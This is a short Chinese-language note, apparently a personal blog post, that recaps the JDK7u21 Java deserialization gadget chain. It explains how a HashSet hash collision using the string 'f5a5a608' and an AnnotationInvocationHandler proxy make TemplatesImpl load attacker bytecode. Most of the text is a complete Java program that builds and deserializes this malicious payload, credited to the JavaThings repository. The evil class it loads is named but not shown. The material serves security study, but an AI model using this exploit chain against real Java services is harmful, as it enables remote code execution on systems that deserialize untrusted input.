突然发现这个没有写,今天补上吧,也不是教学篇,只是方便自己快速想起来整个利用链的流程
这里以Hashset为例子
- 在readObject恢复对象的时候,因为set中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作
- 如果set当中两个对象hashCode相同,则会对key调用equals方法,如果我们用AnnotationInvocationHandler代理一个对象,在调用equals方法触发invoke时,会调用equalsImpl方法,这里面会遍历 type(设置为TemplateImpl类) 中的每个方法并调用,那么就会触发newTransform()或getOutputProperties()方法导致字节码加载任意代码的执行
因此代码很好理解,代码来自https://github.com/phith0n/JavaThings
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class QUEY {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(QUEY.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// objectObjectHashMap.put(tempHandler,"");
// objectObjectHashMap.put(proxy,"");
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}